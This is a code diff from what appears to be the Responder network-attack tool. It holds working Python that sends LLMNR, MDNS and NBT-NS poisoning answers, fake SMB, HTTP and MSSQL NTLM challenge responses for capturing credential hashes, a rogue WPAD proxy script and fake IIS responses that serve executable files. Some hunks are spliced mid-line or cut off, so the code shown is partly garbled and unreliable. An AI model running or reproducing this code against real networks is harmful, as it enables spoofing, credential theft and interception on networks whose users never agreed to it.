str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) - - EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) - - InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) - - ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) - - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - #Version - self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) - self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) - #Encryption - self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) - #InstOpt - self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) - #ThrdIDOffset - self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) - -#MS-SQL NTLM Negotiate packet class -class MSSQLNTLMChallengeAnswer(Packet): - fields = OrderedDict([ - ("PacketType", "\x04"), - ("Status", "\x01"), - ("Len", "\x00\xc7"), - ("SPID", "\x00\x00"), - ("PacketID", "\x01"), - ("Window", "\x00"), - ("TokenType", "\xed"), - ("SSPIBuffLen", "\xbc\x00"), - ("Signature", "NTLMSSP"), - ("SignatureNull", "\x00"), - ("MessageType", "\x02\x00\x00\x00"), - ("TargetNameLen", "\x06\x00"), - ("TargetNameMaxLen", "\x06\x00"), - ("TargetNameOffset", "\x38\x00\x00\x00"), - ("NegoFlags", "\x05\x02\x89\xa2"), - ("ServerChallenge", ""), - ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("TargetInfoLen", "\x7e\x00"), - ("TargetInfoMaxLen", "\x7e\x00"), - ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), - ("TargetNameStr", "SMB"), - ("Av1", "\x02\x00"),#nbt name - ("Av1Len", "\x06\x00"), - ("Av1Str", "SMB"), - ("Av2", "\x01\x00"),#Server name - ("Av2Len", "\x14\x00"), - ("Av2Str", "SMB-TOOLKIT"), - ("Av3", "\x04\x00"),#Full Domain name - ("Av3Len", "\x12\x00"), - ("Av3Str", "smb.local"), - ("Av4", "\x03\x00"),#Full machine domain name - ("Av4Len", "\x28\x00"), - ("Av4Str", "server2003.smb.local"), - ("Av5", "\x05\x00"),#Domain Forest Name - ("Av5Len", "\x12\x00"), - ("Av5Str", "smb.local"), - ("Av6", "\x00\x00"),#AvPairs Terminator - ("Av6Len", "\x00\x00"), - ]) - - def calculate(self): - ##First convert to uni - self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') - self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') - self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') - self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') - self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') - self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') - ##Then calculate - - CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) - - CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) - - CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - self.fields["SSPIBuffLen"] = struct.pack("h",len(self.fields["IP"])) + +# LLMNR Answer Packet +class LLMNR_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x00"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionNameLen", "\x09"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerNameLen", "\x09"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IP"] = settings.Config.IP_aton + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] + self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] + +# MDNS Answer Packet +class MDNS_Ans(Packet): + fields = OrderedDict([ + ("Tid", "\x00\x00"), + ("Flags", "\x84\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + +##### HTTP Packets ##### +class NTLM_Challenge(Packet): + fields = OrderedDict([ + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + # First convert to unicode + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + + # Then calculate + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) + CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + # Target Name Offsets + self.fields["TargetNameOffset"] = struct.pack("\n\n\n\nLoading\n\n\n"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class IIS_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "WWW-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + +class IIS_Basic_401_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: Basic realm=''\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + +##### Proxy mode Packets ##### +class WPADScript(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class ServerExeFile(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentType", "Content-Type: application/octet-stream\r\n"), + ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), + ("AcceptRanges", "Accept-Ranges: bytes\r\n"), + ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), + ("Connection", "Connection: keep-alive\r\n"), + ("X-CCC", "US\r\n"), + ("X-CID", "2\r\n"), + ("CRLF", "\r\n"), + ("Payload", "jj"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class ServeAlwaysExeFile(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentType", "Content-Type: application/octet-stream\r\n"), + ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), + ("AcceptRanges", "Accept-Ranges: bytes\r\n"), + ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentDisp", "Content-Disposition: attachment; filename="), + ("ContentDiFile", ""), + ("FileCRLF", ";\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), + ("Connection", "Connection: keep-alive\r\n"), + ("X-CCC", "US\r\n"), + ("X-CID", "2\r\n"), + ("CRLF", "\r\n"), + ("Payload", "jj"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class ServeAlwaysNormalFile(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentType", "Content-Type: text/html\r\n"), + ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), + ("AcceptRanges", "Accept-Ranges: bytes\r\n"), + ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), + ("Connection", "Connection: keep-alive\r\n"), + ("X-CCC", "US\r\n"), + ("X-CID", "2\r\n"), + ("CRLF", "\r\n"), + ("Payload", "jj"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +##### FTP Packets ##### +class FTPPacket(Packet): + fields = OrderedDict([ + ("Code", "220"), + ("Separator", "\x20"), + ("Message", "Welcome"), + ("Terminator", "\x0d\x0a"), + ]) + +##### SQL Packets ##### +class MSSQLPreLoginAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\x25"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\x00"), + ("VersionOffset", "\x00\x15"), + ("VersionLen", "\x00\x06"), + ("TokenType1", "\x01"), + ("EncryptionOffset", "\x00\x1b"), + ("EncryptionLen", "\x00\x01"), + ("TokenType2", "\x02"), + ("InstOptOffset", "\x00\x1c"), + ("InstOptLen", "\x00\x01"), + ("TokenTypeThrdID", "\x03"), + ("ThrdIDOffset", "\x00\x1d"), + ("ThrdIDLen", "\x00\x00"), + ("ThrdIDTerminator", "\xff"), + ("VersionStr", "\x09\x00\x0f\xc3"), + ("SubBuild", "\x00\x00"), + ("EncryptionStr", "\x02"), + ("InstOptStr", "\x00"), + ]) + + def calculate(self): + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) + VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) + EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) + InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) + ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + #Version + self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) + self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) + #Encryption + self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) + #InstOpt + self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) + #ThrdIDOffset + self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) + +class MSSQLNTLMChallengeAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\xc7"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\xed"), + ("SSPIBuffLen", "\xbc\x00"), + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + # First convert to unicode + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + + # Then calculate + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) + CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + self.fields["SSPIBuffLen"] = struct.pack("i", len(CalculatePacketLen)) + self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) + self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) + ##### Workstation Offset Calculation: + self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) + self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) + self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) + self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) + + ###### Andxoffset calculation. + CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen + self.fields["Andxoffset"] = struct.pack("B',data[12])[0] + Name = data[13:13+NameLen] + return Name + +def IsOnTheSameSubnet(ip, net): + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) + +def IsICMPRedirectPlausible(IP): + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + for x in dnsip: + if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: + print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5, 0) + print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5, 0) + print color("[Analyze mode: ICMP] Use python Icmp-Redirect.py for more details.", 5, 0) + else: + pass + +def AnalyzeICMPRedirect(): + if settings.Config.Responder_IP is not None and settings.Config.Interface == 'Not set': + IsICMPRedirectPlausible(settings.Config.Responder_IP) + + if settings.Config.Interface != 'Not set': + IsICMPRedirectPlausible(FindLocalIP(settings.Config.Interface)) + +if settings.Config.AnalyzeMode: + AnalyzeICMPRedirect() + +# LLMNR Server class +class LLMNR(BaseRequestHandler): + + def handle(self): + data, soc = self.request + Name = Parse_LLMNR_Name(data) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + + if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): + + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + else: + Finger = None + + # Analyze Mode + if settings.Config.AnalyzeMode: + Filename = settings.Config.AnalyzeFilename + LineHeader = "[Analyze mode: LLMNR]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + + # Poisoning Mode + else: + Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) + Buffer.calculate() + soc.sendto(str(Buffer), self.client_address) + + Filename = settings.Config.Log2Filename + LineHeader = "[LLMNR]" + + print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + + if Finger is not None: + print text("%s [FINGER] OS Version : %s" % (LineHeader, color(Finger[0], 3, 0))) + print text("%s [FINGER] Client Version : %s" % (LineHeader, color(Finger[1], 3, 0))) + + +""" +# LLMNR Server class. +class LLMNR(BaseRequestHandler): + + def handle(self): + data, soc = self.request + try: + if data[2:4] == "\x00\x00": + if Parse_IPV6_Addr(data): + Name = Parse_LLMNR_Name(data) + + if settings.Config.AnalyzeMode and settings.Config.Finger_On_Off: + + Message = "[Analyze mode: LLMNR] Host: %-15s Request: %s." % (color(self.client_address[0], 3, 0), color(Name, 3, 0)) + + if PrintLLMNRNBTNS(settings.Config.AnalyzeFilename, Message): + print text(Message) + + try: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + print text("[Analyze mode: FINGER] OS: %s, Client: %s" % (color(Finger[0], 3, 0), color(Finger[1], 3, 0))) + + except Exception: + print text("[Analyze mode: FINGER] Fingerprint failed for host %s." % color(Name, 3, 0)) + + + + if settings.Config.AnalyzeMode == False: + + + + buff = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) + buff.calculate() + soc.sendto(str(buff), self.client_address) + + Message = "[LLMNR] 